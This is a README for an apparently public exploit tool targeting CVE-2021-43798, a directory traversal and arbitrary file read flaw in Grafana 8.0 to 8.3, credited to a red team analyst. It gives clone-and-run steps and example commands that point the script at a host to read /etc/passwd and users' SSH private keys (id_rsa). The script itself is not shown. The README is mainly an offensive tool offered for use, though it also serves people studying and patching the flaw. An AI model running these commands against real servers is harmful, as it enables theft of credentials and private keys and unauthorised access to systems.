CVE-2021-43798

Directory Traversal and Arbitrary File Read on Grafana

Authors:
Wagner Alves - Red Team Analyst

This exploit leverages Directory Traversal and Arbitrary File Read vulnerabilities in Grafana 8.0 - 8.3, allowing it to read files such as /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release, and other interesting files.

Installation

git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh

Usage

ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd

ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa

ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa